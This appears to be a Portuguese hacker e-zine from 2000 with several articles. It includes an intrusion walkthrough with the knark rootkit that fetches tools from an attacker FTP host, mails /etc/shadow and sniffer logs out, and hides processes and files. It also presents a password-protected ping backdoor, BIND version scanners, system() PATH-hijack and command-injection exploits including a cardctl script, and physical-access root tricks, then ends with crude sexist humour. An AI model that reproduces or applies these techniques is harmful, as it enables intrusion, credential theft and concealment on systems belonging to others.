 `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

  Como eu havia dito, eis um sniffer em LKM !!!
  O arquivo de log fica em /tmp/sniff.log mas pode ser trocado nos fontes.
  insmod krnsniff.o [dev=<device>]


 .------------.
 |    knark    `--------------------------------------------------.
 `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

  E' um pacote muito legal (e que funciona...)
  Vem com os fontes e instrucoes sobre como compilar e usar.
  Conteudo (apos compilado):

  knark.o
  O Modulo propriamente dito.
  Possui algumas particularidades, como por exemplo:

  1.  Escondendo Processos
      Enviando-se um SIGNAL 31 para um processo, ele ficara' invisivel da
      lista de processos do LS e TOP....
      Nao funcionou na minha maquina.

  2.  Encobrir Sniffers

      SNIFFER: Programa usado para capturar senhas de conexoes. Captura as
      primeiras "linhas" de texto de uma conexao atras da secao de
      identificacao ( USER/PASS, login/password ). Ex: linsniffer, gdd13,
      sniffit.

      INTERFACE: Nome usado para representar um dispositivo de acesso a alguma
      rede. Por exemplo, quando voce entra na internet, a interface ppp0 e'
      ativa. Se voce esta em uma rede local, voce esta com a interface eth0
      ligada, e se voce esta so' com seu Linux so' como Desktop para uso
      pessoal vc possui a interface "lo" ligada. Para listar as interfaces:
      ifconfig.

      Quando um sniffer esta rodando em um determinado sistema, ele define a
      Interface em que ele estara escutando como estando no "modo promiscuo".
      Um dos modos dos detectadores de sniffers trabalharem e' vendo se a
      interface esta no modo promiscuo. O knark faz com que a interface seja
      reconhecida como nao estando como promiscua, mesmo se o sniffer estiver
      rodando. ( note que ele nao retira a interface do modo promiscuo, senao
      o sniffer nao funcionaria. Ele apenas mascara o resultado IFF_PROMISC
      do tipo SIOCGIFFLAGS ).


  modhide.o
  Outro modulo adicional usado para retirar os modulos
  da lista do lsmod ( lembra-se que eu falei sobre a posicao
  dos modulos apos ser inseridos com o comando INSMOD ??? ).
  A cada vez que voce o inicia, ele vai retirando um modulo do
  topo da lista.

  ered
  Usado para redirecionar executaveis.

  hidef
  Usado para tornar arquivos invisiveis a comandos como ls etc.
  Mesmo apos "hideados", os arquivos podem ser manipulados normalmente
  ( se e' que mecher com algo invisivel pode ser chamado de normal ) :-))

  nethide
  Usado para remover os dados existentes no NETSTAT que nada mais
  sao do que um modo mais bonitinho de mostrar os arquivos /proc/net/tcp|udp
  etc. Nao funcionou na minha maquina ( ou nao usei corretamente ).

  rexec
  Usado para executar comandos remotamente como root em uma maquina que
  esteja rodando o knark.o

  rootme
  Esse e' legal e funcionou comigo... Ele executa qualquer programa para voce
  usando o nivel de root.

  taskhack
  Ele estava dando erro ao compilar entao eu //comentei alguns #includes.
  Se der erro na sua maquina e ele nao gerar o executavel, descomente-os
  e tente novamente.
  Ele possui uma otima proposta: pode trocar o *UID* de qualquer processo
  rodando...
  Por exemplo, voce pode trocar o UID do -bash para 0 e funcionar como
  root... ( testei e funcionou, fica muito estranho uma shell r00t com $ ...)

 .---------------.
 | Usando o Knark `-----------------------------------------------.
 `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

  localhost:/home/pchazard# telnet alvo.com.br
  Trying alvo.com.br...
  Connected to alvo.com.br.
  Escape character is '^]'.


  alvo.com.br
  -----------

  Proibido o uso deste servico por qualquer
  pessoa nao autorizada bla bla blaa blaaa...

  alvo login: joaofg
  Password:

  Last login: Wed Apr 26 21:33:06 -0300 2000 on ttyp8 from igor.alvo.com.br.
  No mail.

  My doctor told me to stop having intimate dinners for four.  Unless there
  are three other people.
                  -- Orson Welles

  alvo:~$ uname -a
  RedHat Linux 6.0 localhost 2.2.14 #127 Thu Oct 21 13:13:20 CDT 1999 i686 unknown
  alvo:~$ wget -q ftp://200.242.183.16/imwheel.c

  alvo:~$ wget -q ftp://200.242.183.16/cloak

  alvo:~$ chmod +x cloak
  alvo:~$ wget -q ftp://200.242.183.16/knark.o

  alvo:~$ wget -q ftp://200.242.183.16/modhide.o

  alvo:~$ wget -q ftp://200.242.183.16/ping

  alvo:~$ wget -q ftp://200.242.183.16/linsniffer

  alvo:~$ wget -q ftp://200.242.183.16/unlastlog

  alvo:~$ wget -q ftp://200.242.183.16/hidef

  alvo:~$ chmod +x linsniffer
  alvo:~$ chmod +x unlastlog
  alvo:~$ chmod +xs ping
  alvo:~$ chmod +x hidef
  alvo:~$ gcc -o imwheelx imwheel.c
  alvo:~$ ./imwheelx 1065

  ...

  alvo:~$ ./imwheelx 1085

  ...

  alvo:~$ ./imwheelx 1115

  ...

  bash-2.03# tty
  /dev/ttyp3
  bash-2.03# pwd
  /home/joaofg
  bash-2.03# who | grep ttyp3
  root    ttyp3    Oct 21 13:20 (200.242.183.16)
  bash-2.03# ./cloak cloakme
  You are now cloaked
  bash-2.03# mv knark.o /lib/modules/2.2.14/misc
  bash-2.03# who | grep ttyp3
  bash-2.03# mail pchazard@200.242.183.16 < /etc/shadow
  bash-2.03# mv ping /bin/ping
  bash-2.03# linsniffer&
  [1] 2413
  bash-2.03# insmod /lib/modules/2.2.14/misc/knark.o
  bash-2.03# insmod modhide.o
  modhide.o: init_module: Device or resource busy
  bash-2.03# ps aux | grep 2413
  root      2413   32.0  9.8  1756 1028 ttyp3     S    01:35   0:00 /home/joaofg/linsniffer
  root      2414    0.0  1.3  1124  404 ttyp3     S    01:54   0:00 grep 2413
  bash-2.03# kill -31 2413
  bash-2.03# ./hidef linsniffer
  bash-2.03# ./hidef tcp.log
  bash-2.03# ./hidef cloak
  bash-2.03# ./hidef /proc/knark
  bash-2.03# ps aux | grep 2413
  root      2415    0.0  1.3  1124  404 ttyp3     S    01:54   0:00 grep 2413
  bash-2.03# ./hidef ./unlastlog
  bash-2.03# rm imwheel.c
  bash-2.03# rm imwheel
  bash-2.03# rm knark.o
  bash-2.03# rm modhide.o
  bash-2.03# rm hidef
  bash-2.03# exit
  logout
  Connection closed by foreign host.
  localhost:/home/pchazard# cd knark-0.59
  localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/home/joaofg/unlastlog joaofg /home/joaofg/.bash_history 18

          rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

  Done. exec "/home/joaofg/unlastlog joaofg /home/joaofg/.bash_history 18"
requested on alvo.com.br from 127.0.0.1
  localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/home/joaofg/unlastlog - /root/.bash_history 24

          rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

  Done. exec "/home/joaofg/unlastlog - /root/.bash_history 24" requested on
alvo.com.br from 127.0.0.1
  localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/bin/rm /home/joaofg/unlastlog

          rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

  Done. exec "/bin/rm /home/joaofg/unlastlog" requested on alvo.com.br from
127.0.0.1
  localhost:/home/pchazard/knark-0.59#
  localhost:/home/pchazard/knark-0.59#
  localhost:/home/pchazard/knark-0.59#
  localhost:/home/pchazard/knark-0.59#
  You have mail in /var/spool/mail/pchazard
  localhost:/home/pchazard/knark-0.59#


                        * * * De tempos em tempos * * *


  localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/bin/mail pchazard@ig.com.br < /home/joaofg/tcp.log

          rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

  Done. exec "/bin/mail pchazard@ig.com.br < /home/joaofg/tcp.log" requested
on alvo.com.br from 127.0.0.1


                                        "There is no power without knowledge"
                                                                      Alguem

                                 "O Linux e' um sistema operacional amigavel,
                                o fato e' que ele escolhe melhor seus amigos"
                                                                Outro alguem


     Copyleft (cl) 14 Jun 2000 12:45:12 by PCHazard - pchazard@ig.com.br










        _xXXXP^''                   ``^YXXXx_
     _xXXXXP~    08 - PING backd00r     ~YXXXXx_
  _xXXXXXX(                               )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                               )XXXXXXP~
     ~YXXXXb_          pcHazard         _dXXXXP~
        ~YXXXbx..                   ..xdXXXP~



   well... vc ja' viu um daqueles sistemas que estao tao mechidos, baguncados
e desatualizados que parece que o sysadmin entrou em coma e nao tem ninguem
pra tomar o lugar dele ? Tipo aqueles com sendmail 8.8.2, kernel 2.0.33 etc.
pois e'... agora, todos conhecem aquele programinha "ping" que a gente usa
pra ver se um host existe etc. pois e', acontece que ele e' por padrao
suidroot :-) bem, num sistema desses e' bem capaz que o buffer overflow pro
ping antigo funcione, mas me refiro aqui a uma backdoor, que depois que vc
pegar root no lugar vc instala ele no lugar do ping (pacote netkit-base) e
pronto. Vamos exemplificar:

alvo.com.br:

bash-2.03# wget -q ftp://200.241.235.26/ping

bash-2.03# chmod +xs ping
bash-2.03# mv ping /bin/ping
bash-2.03# ping
usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload]
[-p pattern] [-s packetsize] [-t ttl] [-I interface address] host
bash-2.03# exit

   E pronto. O ping backdoor ja' esta' instalado.

   Para utilizar:

alvo:~$ ping
usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload]
[-p pattern] [-s packetsize] [-t ttl] [-I interface address] host
alvo:~$ ping -b

Enter option:not4you

Argument: bash
bash-2.03#

E pronto. Os fontes modificados do ping acompanham este zine (pingback.tar.gz)
Pra quem nao percebeu, esse not4you e' uma senha definida no ping.c
que pode ser alterada. O Ping backdoor nao executara os parametros do comando
dado, logo, execute somente o nome do programa como /bin/bash, ou se nao
desejar rodar a shell, crie um script com as coisas que devem ser executadas
e faca o ping backdoor executa'-lo.


             Talvez issue que vem tem mais backd00r pro povo...



     "Em Deus nos acreditamos. Para os outros, exigimos um certificado X.25"
                                                 Alguem assinante da BugTraq


     Copyleft (cl) 14 Jun 2000 12:45:12 by PCHazard - pchazard@ig.com.br











        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~       09 - Bind Scan       ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Alguns dos bugs mais exploitados nos ultimos dias foram os de named.
Por issu decidi fazer um programa que scaneie a versao dos binds. O bind
scan v1.1 criado por mim tinha o problema de que usava o dig para 
verificar a versao do bind remoto.
   A versao atualizada, publicada aki, conecta-se ao named e pega o
version.bind dele, sem necessidade de nenhum outro programa. Alem dissu,
verifica se a versao eh vulneravel aos bugs mais conhecidos.
   O bind scan v2.1 scaneia uma lista de ips que pode ser feita com o 
bind host scan. O bhs apenas tenta conectar ao ip (X.X.X.1 a X.X.X.255)
pela porta 53(NAMESERVER_PORT) e coloca o resultado no arquivo "hosts".
   Vamos a um exemplo de como usa-los, depois os sources...

~# gcc bhs.c -o bhs
~# ./bhs 127.0.0
 -=-= Binds hosts scanner by Cheat Struck =-=-
 Result in filename : hosts
127.0.0.1
~# gcc bscan21.c -o bscan
~# ./bscan hosts
Bind Scan v2.1 - by Cheat Struck <cszine@xoommail.com>
_START_
127.0.0.1 - 8.1.2 is not vul.
_END_
~#

<++> bindscan/bhs.c
/* Bind Host Scanner v1.0 by Cheat Struck <cszine@xoommail.com>
 *
 *  Scaneia ips X.X.X.[1 a 255] que estejam rodando named.
 *
 *  Modo de uso:
 *     gcc bhs.c -o bhs
 *     ./bhs <X.X.X>
 *
 *  Exemplo: 
 *     ./bhs 200.24.131
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

main( int argc, char *argv[] ) {

 int s0ck, i=0;
 struct sockaddr_in addr;
 char ip[16];
 char *duh;
 FILE *fp;

 printf(" -=-= Binds hosts scanner by Cheat Struck =-=-\n");
 if( argc < 2 ) {
   printf("Use: %s <X.X.X>\n",argv[0]);
   exit(1);
 }
 printf(" Result in filename : hosts \n");

 duh =  argv[1];
 fp = fopen("hosts", "a");


 while (i < 255) {

    i++;
    sprintf(ip, "%s.%d\n", duh,i);

    s0ck = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(53);
    addr.sin_addr.s_addr = inet_addr(ip);
    bzero(&(addr.sin_zero), 8);

    if( connect( s0ck, (struct sockaddr *)&addr, sizeof(addr) ) >= 0) {
      fprintf(fp, "%s",ip);
      printf("%s FIND!",ip);
    }
    close(s0ck);

 }


 fclose(fp);

}
<-->
<++> bindscan/bscan21.c
/* Bind Scan v2.1
 * by Cheat Struck <cszine@xoommail.com>
 *
 *  Scan a ip list and show the BIND version and bugs.
 *  
 *  usage: ./bindscan <ip_list>
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/nameser.h>


int make_keypkt(char *pktbuf);
void print_ver(int vul, char *buf);

int main(int argc, char *argv[]) {
   struct sockaddr_in ra;
   int sd, pktlen;
   char iquery[512], vquery[512], ip[16];
   HEADER *dh = (HEADER *)iquery;
   FILE *fp;


   printf("Bind Scan v2.1 - by Cheat Struck <cszine@xoommail.com>\n");
   if(argc != 2) {
        printf("usage: %s <ip_list>\n", argv[0]);
        exit(0);
   }

// OPEN FILE...
   if((fp = fopen(argv[1],"r")) == 0) {
       printf("Where is this file???\n");
       exit(0);
   }


// START THE L00PING...
   printf("_START_\n");
   while( !feof(fp) ) {
       bzero((char *)&ip, sizeof(ip));
       if(fgets(ip, 16, fp) == NULL) break;
       ip[strlen(ip)-1] = 0x00;
       printf("%s - ",ip);


       // LET'Z CONNECT....
       ra.sin_family      = AF_INET;
       ra.sin_port        = htons(NAMESERVER_PORT);
       ra.sin_addr.s_addr = inet_addr(ip);
       if (((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) ||
       (connect(sd, (struct sockaddr *)&ra, sizeof(ra)) == -1)) {
              if (sd != -1) close(sd);
       }


       //SEND A QUERY AND GET THE VERSION...
       memset(vquery, 0, sizeof(vquery));
       pktlen = make_keypkt(vquery);
       if (!write(sd, vquery, pktlen)) {
            close(sd);
       }
       pktlen = read(sd, vquery, sizeof(vquery));
       close(sd);


       //NOW PRINT THE VERSION...
       print_ver(dh->rcode == 0, vquery);

   }
   fclose(fp);
   printf("_END_\n");

}


int
make_keypkt(pktbuf)
   char *pktbuf;
{
   HEADER *dnsh;
   char *ptr = pktbuf;
   int pktlen = 0;
   char qstr[] = "\007version\004bind\000";
   int qlen = strlen(qstr) + 1;

   dnsh = (HEADER *) ptr;

   dnsh->qdcount = htons(1);
   pktlen += sizeof(HEADER);
   ptr += sizeof(HEADER);

   memcpy(ptr, qstr, qlen);
   ptr += qlen;
   pktlen += qlen;
   PUTSHORT(T_TXT, ptr);
   PUTSHORT(C_CHAOS, ptr);
   pktlen += sizeof(short) * 2;

   return pktlen;
}


void
print_ver(vul, buf)
   char *buf;
   int vul;
{
   HEADER *dnsh = (HEADER *)buf;
   char *ptr;

   if (dnsh->rcode != 0) {
        return;
   }

   ptr = (buf + sizeof(HEADER));
   while (*ptr != '\0')
     ptr++;
   ptr += 1 + (sizeof(short) * 2);
   while (*ptr != '\0')
     ptr++;
   ptr += 1 + (sizeof(long) + (sizeof(short) * 2));
//   GETSHORT(len, ptr);

   if(!strcmp(&ptr[3],"")) printf("can't get a version.\n");
   else

   if((!strncmp(&ptr[3],"8.2",strlen(&ptr[3]))) ||
   (!strncmp(&ptr[3],"8.2.1",strlen(&ptr[3])))) {
         printf("%s is NXT remote overflow VULNERABLE\n",&ptr[3]);
         return;
   } else

   if((!strncmp(&ptr[3],"4.9.5-REL",strlen(&ptr[3]))) ||
   (!strncmp(&ptr[3],"4.9.5-P1",strlen(&ptr[3]))) ||
   (!strncmp(&ptr[3],"4.9.6-REL",strlen(&ptr[3]))) ||
   (!strncmp(&ptr[3],"8.1-REL",strlen(&ptr[3]))) ||
   (!strncmp(&ptr[3],"8.1.1",strlen(&ptr[3])))) {
         printf("%s is IQUERY remote overflow VULNERABLE\n",&ptr[3]);
         return;
   } else {
         printf("%s is not vul.\n",&ptr[3]);
         return;
   }

}
<-->




        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~      10 - System Bugs      ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Expliquei essa t3kn33k na edicao 00 da f3 mas achu q nao recebeu a
atencao necessaria portanto estou disposto a revisar este bug e ainda 
explicarei outros metodos de xploita-lo.

   Ah!!! Li recentemente o manual de programacao basica escrito por nash
leon e nele aparece a explicacao sobre o Xploiting deste bug. Mesmo nao
sendo grande coisa, estas sao algumas falhas de seguranca que eu descobri 
sozinho e nao me basiei em nenhum outro texto para a conclusao deste.


   Ok...
   Tipu... O primeiro bug q eu achei foi testando uns programas (c) ME
que utilizavam system() para executar comandos na shell e tornando o 
programa mais simples.
   Exemplo:

Ao invez de usar:


fd=fopen("./duh","w");
fprintf(fd,"Hellow World\n");
fclose(fp);


usei:


system("echo Hellow World >> ./duh");


   E assim a fonte do programa tornava-se menor e mais compreensivel para
coders iniciantes.
   Dae percebi q havia como xploitar tal programa mesmo nao podendo 
interagir neste comando por strings externas, tipo:


sprintf(cmd,"echo %s >> ./duh", argv[1]);
system(cmd);


   Note que no exemplo acima executamos o comando utilizando uma string
externa (argv[1]) como argumento. Mas voltando ao exemplo anterior, onde
nao ah nenhuma intervencao em strings...
   Ah um outro metodo de intervir na funcao system() sem precisarmos
diretamente enviarmos uma string para ele.
   O caso eh que assim como numa shell, qdo voce executa um comando no
system() sem o path completo dele, o caminho do programa eh procurado
na environment $PATH. Sendo assim podemos alterar o $PATH para um
diretorio q tenhamos permissao e assim fazer com que o system() execute
o comando que quizermos apenas renomeando-o.
   Vamos a um exemplo...


<++> systembug/vul1.c
main() {
system("ls");
}
<-->


~# gcc vul1.c -ovul
~# chmod +s vul


   Agora para xploita-lo...

~$ pwd
/tmp
~$ cp /bin/sh ./ls
~$ PATH1=$PATH
~$ PATH=./
~$ /f3/systembug/vul
~# id
uid=1337 (struck) gid=1337 (struck) euid=0 (root) egid=0 (root)
~# PATH=$PATH1
~#



   Basicamente esta eh a t3kn33k usada. Mas ha casos especificos que
podemos usar meios diferentes para xploitar o system().
   O meio mais simples seria interagindo com strings externas usadas como
argumentos no system(). Vejamos o 2o exemplo:

<++> systembug/vul2.c
main(int argc, char *argv[]) {
char *cmd;
sprintf(cmd,"/bin/ls %s",argv[1]);
system(cmd);
}
<-->

~# gcc vul2.c -o vul2
~# chmod +s vul2


   Para exploita-lo:


~$ /f3/systembug/vul2 ";/bin/sh"
~#


   O resultado da string cmd seria "/bin/ls ;/bin/sh". Ou seja podemos
executar de maneira muito banal uma shell qdo temos intervencao de strings
externas na funcao system().

   Outro caso pode ser qdo o programa a ser executado pelo system() esta
no mesmo diretorio do proprio programa (q possui o system()). Vamos ver
outro exemplo:


<++> systembug/vul3.c
main(){
system("./vul2 -la");
}
<-->


~# gcc vul3.c -o vul3
~# chmod +s vul3


   Xploitando....


~$ pwd
/tmp
~$ cp /bin/sh ./vul2
~$ PATH=./
~$ /f3/systembug/vul3
~#


   AWS!!!
   Agora vamos ao 4o metodo e desta vez utilizando um programa de BSD
que possui esta falha.
   O caso eh o seguinte... O programa procura por strings num arquivo e
as inclui no comando a ser executado pelo system(). Vou colar algumas
linhas originais do programa q demonstram a falha...


cardctl.c:


	case 's':
	    stabfile = strdup(optarg); break;
...
    f = fopen(stabfile, "r");
    if (f == NULL)
	return -1;
    for (nstab = 0; fgets(s, 132, f); ) {
	if (s[0] != 'S') {
	    sscanf(s, "%*d\t%s\t%*s\t%*d\t%s",
		   stab[nstab].class, stab[nstab].dev);
	    stab[nstab].status = 0;
	    nstab++;
	}
    }
    fclose(f);
...
	stab[i].status = execute(stab+i, "cksum", new);
...
	sprintf(cmd, "./%s %s %s", s->class, action, s->dev);
    ret = system(cmd);



   Como podem ver ele busca tb o nome do programa a ser executado e a
unica limitacao dele eh q tem que estar no mesmo dir (./).
   Vamos xploita-lo...


<++> systembug/cardctl-ex.sh
#!/bin/sh

mkdir /tmp/card
echo "215	../../bin/sh;	none	2133	device" >> /tmp/card/stab
cd /tmp/card
/sbin/cardctl -s /tmp/card/stab scheme dido
<-->


~$ chmod +x cardctl-ex.sh
~$ ./cardctl-ex.sh
checking: device~#
~#



   Voalah!!! Vimos que este bug nao eh tao troxa qto parece. Fixa-lo eh
a coisa mais banal q existe... Eh soh dar corda no cerebro e comecar a
pensar um pouco (pra variar) q chegaremos a estas conclusoes:

   Caso nao haja a necessidade do comando ser executado como root, utilise:

setuid(getuid());
system(cmd);

   Porem c for preciso do uid 0 para o comando entao tente fazer com que
o system() nao receba strings externas...
   Mas c ainda precisar utilizar strings externas coloque limitadores para
a string proibindo ";", "|", etc...

   Mesmo assim, o melhor meio para nao correr risco com tal falha eh 
mesmo nao utilizando o system() e optando por uma funcao mais segura
para executar comandos.












        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~    11 - vulnerabilidade    ~YXXXXx_
  _xXXXXXX(           do lilo.conf         )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_       kamikase shell       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


Esta matria ser mais util a universitrios ( pq? ), primeiro pq
precisaremos ter acesso fisico a mquina; e segundo pq uma universidade que se
preze tem uma mquina, ou melhor uma rede com linux, e como nem todo mundo usa
linux eles tb tem o windows e se o progama que gerencia o boot for lilo ns
poderemos rootea-lo. Ento vamos ao que interessa.
Todo mundo j deve conhecer aquela velha entrada no prompt do lilo:


LILO: linux single


 isto mesmo, vc vai conseguir um shell de root:


#bash: 


porem isto s vai acontecer se o root for muito burro! Tudo bem!
Como eles no so to idiotas assim eles acrescentam estas linhas no
arquivo/etc/lilo.conf:


password=algum_password
restricted


depois digitam "lilo" no shell para salvar a alterao.


[root@localhost /]# lilo
linux*
dos(ecah)
[root@localhost /]# 


E o que isto faz? Simples, se vc der alguma entrada a mais no prompt do lilo
como :
"linux single" ou "linux panic=10" ele te pedir a senha que t no
lilo.conf. O lilo.conf vem com permisso de leitura para qualquer usurio e se
o root for lerdo o suficiente para no conferir a permisso dele:


[root@localhost /etc]# ls -la lilo.conf
-rw-r--r-- 1 root root 208 Jul 6 14:37 lilo.conf
[root@localhost /etc]# 


nao vai perceber que ele d permisso de leitura para qualquer usurio! ns
sabemos que a senha no fica encriptada, ento se vc ainda no sabe o q fazer,
vamos! t na hora de perder a virgindade cerebral, basta entrar com:


[usurio@localhost usuario]$ cat /etc/lilo.conf
boot=/dev/hda
map=/boot/map
install=boot/boot.b
prompt
timeout=50
password=algum_password
restricted
...
...
...
[usurio@localhost usurio]$ 


descobrir a senha e resetar a mquina (pois vc tem tem acesso fsico a ela,
lembra! ). 
No prompt do lilo basta entrar com:


LILO: linux single 


esperar por


#bash:


e pronto, vc tem a fora hehehe!! 

kamikaseshell@bahia.net










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~        12 - hardroot       ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_       kamikase shell       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


        certo dia eu tava meio away na minha maquina quando veio aquela ideia
que parecia brilhante: " pq nao copiar o /bin/sh com setiud ativado para um 
disquete para usa-lo em outra outras maquinas, como eu o usaria em outras
maquinas? copiava o sh do disquete para meu diretorio /home/minhaconta e
rooteava a maquina!!!"
        Mas como eu disse a ideia apenas parecia brilhante, hehehe! Copiar o
sh da minha maquina para o disquete era moleza:


[root@localhost bin]# cp sh /mnt/floppy
[root@localhos bin]# ls -l /mnt/floppy
total 365
-rwxr-xr-x	1 root	root	373432	Jul 13 17:44 sh


mas o problema tava ativar o bit setuid:


[root@localhost bin]# chmod 4766 /mnt/floppy/sh
chmod: /mnt/floppy/sh: Operacao nao permitida


	Bem, como nao consegui ativar o bit setuid no disquete pensei em copiar
o /bin/sh ja com o bit ativado: Copiei o /bin/sh para um  diretorio qualquer,
ativei o bit setuid e tentei copia-lo para o disquete:


[root@localhost /]# cp /bin/sh /root
[root@localhost /]# chmod 4766 /root/sh
[root@localhost /]# ls -l /root/sh
-rwsrw-rw-	1 root 	root	373432	Jul 13 17:52 sh 
-------(blz)
[root@localhost /]# cp /root/sh /mnt/floppy
cp: preservando permissoes para /mnt/floppy/sh: Operacao nao permitida


	Ai' eh que tah a merda! naum dava para manter as permissoes. Muita
gente ja deve ter tentado fazer isto. Pois entaum tentei descobrir uma outra
maneira para rootea alguma maquina, e naum  que consegui! De repente me
liguei  que se eu colocar meu HD em uma outra maquina, posso da BOOT com meu
linux,  logar comoroot, montar a particao contendo o linux do HD do kra e fazer
tudo que eu quizerla', pois eu logei como root, lembra!
	Vamos por partes:
	* Instale os dois HDs: o seu como MASTER e o do kra como SLAVE;
	* Ligue a maquina, detecte os HDs na BIOS;
	* Carregue seu linux, loge-se como root, pois o sistema e' o que esta
no seu HD (duh!);
	* Monte a particao do kra, por exemplo: mount -t ext2 /dev/hdbX /linux;
	* Faa o que quiser, voce e' root la' tb.

	DICA: para naum demorar muito com os 2 HDs ligados, acrescente uma
conta de root la' (na particao do kra ), desmonte tudo, ligue o HD dele como
tava antes, e acesse o linux dele agora como root!
        Nao sei se vc tera' oportunidade de usar isto, mas, se tiver naum vacile
	E' isso ai'...  te' a proxima...

					
kamikaseshell@bahia.net










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~  13 - PEQUENO MANUAL PARA  ~YXXXXx_
  _xXXXXXX(         OS HOMENS NA BALADA    )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_         Humortadela        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Este manual foi tirado do site www.humortadela.com.br e publiquei aki
1o por ser hilario; 2o pra fazer propaganda desse site q eh mto rlz; e
3o pq a maioria q le esta zine eh homem e vao curtir o txt.
   Se vc for mulher ou indefinido e nao gostou deste texto nao venha 
reclamar comigo pois nao fui eu quem o escreveu.

------------------------


PEQUENO MANUAL PARA OS HOMENS NA BALADA

Este manual mostra o resultado de uma pesquisa realizada entre mulheres 
sobre o que um homem deve ou no fazer em uma balada, quando quer conhecer
uma garota.


1. A APROXIMAO

1.1 Jamais interrompa a garota, caso esteja numa conversa efusiva com as
    amigas. Ns gostamos de falar. Uma mulher nunca deixar de falar 
    com uma amiga para ouvir um estranho.
Nem para ouvir um conhecido, nem para ouvir a me, nem o pai, nem os 
filhos...

1.2 No chegue balanando seu copo de usque  com energtico em movimentos
    circulares.  sabido entre mulheres que homens assim so muito malas.
E se chegar balanando uma jeba de vinte e trs centmetros ou um carto
de crdito?

1.3 Esquea frases de senso comum, tais como "voc  a garota mais linda
    daqui", "o que algum como voc faz sozinha?" etc. Pode acreditar: 
    ns, mulheres, somos prticas e percebemos o quanto um homem  
    inseguro com essas frasezinhas de efeito.
E falar "Voc era a garota mais linda daqui, at te ver de perto", denota
mais segurana? Por favor, me responde logo, estou me sentindo meio inseguro...

1.4 Feche a camisa! No gostamos de ver os pelinhos do peito pulando 
    para fora...
Olha, eu j vi plo e cabelo caindo, agora pulando, eu nunca vi...




2. A CONVERSA

2.1 No perdoamos se um homem no nos pergunta o nome. At cachorro tem 
    nome. Alm disso, queremos perguntar "e voc, como se chama?" para 
    colocarmos seu nome em nossas listas.
 verdade, se cachorro tem nome,  lgico que cachorra tambm tenha. 
Acontece que ns tambm somos muito prticos e s perguntamos o nome se 
estamos interessados mesmo, para no guardar dados inteis.

2.2 Mostre-se interessado. Odiamos homens para quem falamos  "ma, 
    banana..." enquanto explicamos o que fazemos da vida, s para ver se
    eles esto prestando ateno e, na maior cara-de-pau, ele concorda 
    com a cabea e olha para voc admirado.
Mas a gente presta mesmo ateno! S que, como vira e mexe vocs falam 
de comida, e dado que a conversa de vocs no tem muito nexo, achamos 
uma fala como "ma, banana" bastante lgica e dentro do contexto!

2.3 Jamais tente beijar uma mulher quando ela est falando. Ela ficar 
    puta da vida. A verdade  que ns gostamos mesmo de falar.
 verdade, no  por acaso que alguns homens apelidam o prprio pnis 
de "microfone" ou, os mais exibidos, de "megafone".

2.4 Esconda seus tiques. Faa um esforo descomunal, mas esconda seus 
    tiques.
E como fao para esconder meu tique, que  uma ereo constante?

2.5 Esconda seu bafo. Faa qualquer coisa para acabar com ele, mas no 
    pense que no perceberemos se no tomar uma atitude.
